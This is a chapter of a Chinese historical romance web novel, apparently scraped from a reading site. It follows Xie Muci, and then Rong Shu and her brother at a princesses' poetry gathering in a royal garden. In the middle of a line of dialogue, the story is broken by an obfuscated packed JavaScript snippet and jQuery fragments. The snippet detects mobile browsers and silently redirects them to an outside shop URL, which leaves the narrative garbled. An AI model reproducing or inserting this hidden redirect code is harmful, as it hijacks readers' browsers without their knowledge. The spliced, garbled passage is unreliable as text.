默认冷灰
24号文字
方正启体

7. 赴会

作者:莲池沐客本书字数:K更新时间:
    上京谢家旧宅。


    宫中吴内侍躬身捧着一堆书册,“少师大人,这是陛下特意命我等送过来的,里面是皇子和公主们近日功课,还请大人提前查阅,也好有个印象。”


    谢慕辞正俯首于案前,手持紫金狼毫,云袖轻晃,落笔成书。


    吴内侍只远远看了一眼,便觉心惊,不愧是出自谢家的少师,挥笔间行云流水,骨力遒劲,洋洋洒洒的行书犹如松鹤列阵,自成法度。


    谢慕辞抬头,轻笑道:“劳烦吴内侍跑一趟,先放下吧。”


    吴内侍看清谢慕辞真容后,当下便愣了神,世间竟有这般清冷出尘的神仙人物!


    这等容貌和气度,只怕到时那些公主和贵女们见了会大打出手,哪还有心思做学问!


    吴内侍将书册悉数放到他书案上,后退两步道:“少师大人,您入京半月有余,身体可有恢复?陛下让我问问您什么时候入宫觐见?自谢太傅卸任以后,谢家已经缺席了五年。”


    “劳陛下记挂,谢某一切安好,随时恭候陛下召见。谢某身为谢家嫡长,自该早些继承父祖衣钵。只是研习过程中遇到了一些难题,自身尚不解惑,如何传道授业?”谢慕辞随手拿过一本书册翻看,神色正经地看不出情绪。


    吴内侍了然一笑,“看来少师大人此番入京已然是贯通古今、识得学海奥意,实乃我大熙之幸啊。”


    熙朝崇文尚道,有学识的师儒颇受尊崇。吴樾谢家从开朝以来,世代为天子师,更是被捧为座上宾,任谁都怠慢不得。


    谢家祖上出过不少官拜宰执的大能,朝中能说得上话的文官更是比比皆是。近几代开始逐渐远离朝堂风波,只任少师、太师之类的虚职,专心授业,不再入朝为官。


    “吴内侍过誉,谢某不过是恪尽职守,践行使命罢了。”


    吴内侍又客套了几句,才堪堪离去。


    谢慕辞起身,将先前随手书写的白笺揉成一团扔进竹篓里,心烦意燥之下能写出什么好字……


    快一个月了,那件事还是没能查明白。


    初问之下,莫山大当家支支吾吾只说山上没有女人,他刚掳的小美人已经跑了。再细问,他才坦白自己命人给掳来的小美人灌了虎狼之药,当时月黑风高,拦截车队时下手快,并没有问此行人的身份。


    莫山大当家被刺苏醒后,就差人下山查探,可那被迷晕的车队早已消失不见。他们抢来的东西,多数都是上京城里随处可买的特产或是金银摆件之类的,光凭这些无法推断出车主身份。


    谢慕辞几番询问,莫山大当家不禁猜测,他是不是背着自己与那小美人有了首尾?到手的娇花就这么被别人摘了,他气愤难当,自是不愿吐露更多。


    所以,谢慕辞知晓了那个女淫贼确有其人,却又不知具体是谁。


    本就是见不得光的私密事,他自不会动用谢家关系大动干戈地去查,只能暗中留意,寻找一些蛛丝马迹。


    他首次情动,就被那女淫贼这么不清不楚地夺了去,如此伤颜面的事,怎能不耿耿于怀?!


    蒋元齐不知从哪跳了出来,“表兄,不知是谁送来的帖子,邀你去兆光园赏诗会,品茶消夏。”


    谢慕辞面无表情道:“皇家私园除了萧家人,还有谁敢私自邀客?恐是哪位皇子知我已入京,想提前拜会,却又不愿署名。”


    “那你去还是不去?”


    “去一趟也无妨。”省得闷在屋子里心生烦躁。


    兆光园上荫亭。


    花团锦簇,瓜果鲜甜,一群锦衣女娘凑在一起说说笑笑。


    一碧衫宫女领着容姝和容昭上前去,“三公主,威宁侯府容二娘子到了,还带着容家小郎君。”


    “容二娘子是谁,怎么没听说过?”有人问。


    上头被众人拥在中间的黄衫少女明媚一笑,抬手道:“我也没听说过,先请上来吧。”


    容姝提着裙裾,拾阶而上,欠身道:“容姝见过公主,见过各位姐姐妹妹。”


    她余光示意容昭行礼,那厮不情不愿地摆了摆手。


    “都免礼,今日兆光园小聚,不必拘些虚礼。”三公主萧若衡停住手上剥瓜子的动作,惊道:“容二娘子竟生得如此美貌,为何从前从未见过你?”


    旁边身着浅紫襦裙的二公主萧令仪道:“三妹妹有所不知,威宁侯府算不上什么高门大户,平日里咱们姐妹间的聚会,她自然是挤不进来的,今日也不知是从哪弄来的请帖。”


    一言落,众女表情各异,有不屑一顾的,也有莫名同情的,唯独有位绿衫少女背对大家,倚在石凳上,伸手往外无聊地拨弄着枝头绿叶。


    萧若衡点了点头,抬手指了个方向,“郎君们都在那头品诗论对,不若容小郎君也去吧。”


    “我不去,容姝在哪我在哪。”容昭就跟桩一样钉死在容姝身边。


    “……出门在外要称姐姐。”容姝瞪着他,小声叮嘱,随即讪笑解释:“让各位见笑了,家弟没见过世面,比较胆怯。”


    容昭嘴一抽,翻了个大白眼。


    萧若衡“噗嗤”一声笑,“容小郎君倒是有趣,你们自行找个地方坐下吧,再说会儿笑我们也去煦堂比比诗文。”


    容姝俯首称是,拽着容昭挑了个稍偏的位置坐下,又凑到他耳边道:“看见没?这么多的美人,你可别给咱们容家闹笑话,要叫姐姐。”


    她和容昭天生冤家,这厮从未叫过她一声姐姐。


    “这句话该是我跟你说才是。”容昭毫不留情地一把将她推远。


    不自称“小爷”了,又何尝不是一种进步呢。


    “呀,不好意思!”容姝被推地不小心撞到了旁边的绿衫少女,她赶紧起来道歉。


    “没关系。”绿衫少女转过身子,声音清甜,稚气未脱的白嫩小脸看起来也不过才十三四岁。


    她面无表情地将手中残叶摊到容姝面前,“只是,它死了。”


    “那就让它再死透些。”容姝拈起那残叶直接扔了出去,“你看,那不还有成片活的吗?”


    “大胆!你竟然戏弄四公主!”边上粉衫少女挑眉怒斥容姝。


    “四公主?”随便一撞都是位天家公主,今日这园子当真是贵女如云。


    她赶紧欠身行礼,“容姝并非有意冒犯,只是觉得逝者已矣,当珍惜眼前才是。”


    闻言,四公主萧如晖眸光闪动,似有触动,“可死去的那片会很孤独。”


    “……”容姝一时不知该如何作答,没想到天家贵女竟也会如此的伤春悲秋。


    一片叶子而已,谈何死不死的,又何来的孤独!


    “那把剩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058350|194932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下的都杀了,都死了就不寂寞了。”容昭冷不丁开口。


    容姝立下倒吸一口盛夏热气,杏眼圆睁,他这算有哪门子的学问?也敢大言不惭地跟了过来,不说锦上添花,居然还要辣手摧花。


    “你——”粉衫少女指着容昭,气得说不出话来。


    萧如晖抿唇,若有所思,随后展颜一笑,“你说的有些道理,不过我是下不去手的。”


    “我来——”容昭后面的话被容姝伸过去的手打断,她捂着他的大嘴巴子,很用力的那种。


    粉衫少女怔在原地,“四公主竟然也会笑!”


    四公主萧如晖是奉文帝最小的公主,生母不显,五岁起就养在太后膝下,很少与上京贵女们来往。


    便是见上一回,众人也只觉得这位小公主性子老成,行为怪异,不像像同龄小女娘那般爱笑爱闹。


    萧如晖看向粉衣少女,问:“你是谁?”


    粉衣少女欠身道:“我是宋家三女宋闻语,此前与四公主见过的。”


    容姝耳朵一竖,宋家?莫非是那位宋六郎的妹妹?没想到他长得一般,这位妹妹倒是挺标志,唇红齿白,娇俏可人。


    宋家原是州郡大家族,靠着遍布天下的布坊织业跻身大熙四大望族之列。数年前,宋家主脉迁入上京城,宋氏女与裴皇后长兄结亲,家族地位立马水涨船高,直接位居四望之首。


    萧如晖颔首,又挪眼看向容姝和容昭二人,“你们跟他们有些不一样。”


    容姝点头轻笑,自然不一样,他们有的是家世、才学和人品,他俩纯粹是来撞运气或者说是闹笑话的。


    底下碧衣宫女迎来一位藕色缠枝纹缎面衣裙的端庄娘子,那女娘娥眉如黛,秀中带英。


    二公主萧令仪立即迎了上去,“悠然姐姐,你终于来了。”


    那女娘含笑欠身,“这些日子专心帮太后抄经祈福,差点忘了今日与姐妹们的聚会,让诸位妹妹久等了。”


    众人笑着寒暄,直夸那女娘颇有孝心,深得太后欢心。


    容姝听她们说了好一会儿才知晓,原来这位颇有大家风范的英气女娘正是郑国公嫡女郑悠然,亦是当朝太后的孙侄女,比其他女娘虚长一两岁。


    难怪行止有度,落落大方,在贵女中颇受欢迎。


    十几位女娘凑在一起,叽叽喳喳个不停,好生热闹。可惜在座的,容姝一位都不相熟,只能偶尔跟着附和几句,旁边甚觉无聊的容昭困得直打呵欠。


    又喝了会儿茶,吃了些点心,三公主萧若衡起身招呼大家前往煦堂。


    容姝和容昭走在最后头,容姝低声说:“一会儿该进考场了,你可得好好表现。”


    “小爷可不会那些酸腐诗文。”


    “……”好吧,意料之中,情理之中。


    兆光园宽敞辽阔,一眼望去皆是亭台楼阁,飞檐画栋。因着曲水流觞,绿树成荫,炎炎夏日里,也不觉暑气灼人。


    行至堂前,只见一位白袍郎君端坐于水台之上,修长如玉的指节行云流水般抚弄着琴弦,琴音悠扬且恢宏,如聆仙乐。


    他侧对着众人,松形鹤骨,不见面容。只用最简单的玉簪束着墨发,宽大袖口处如泼墨般晕染出一朵朵云烟湛纹,松松垂在身侧,清冷无双。


    有女问:“这是哪家郎君?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)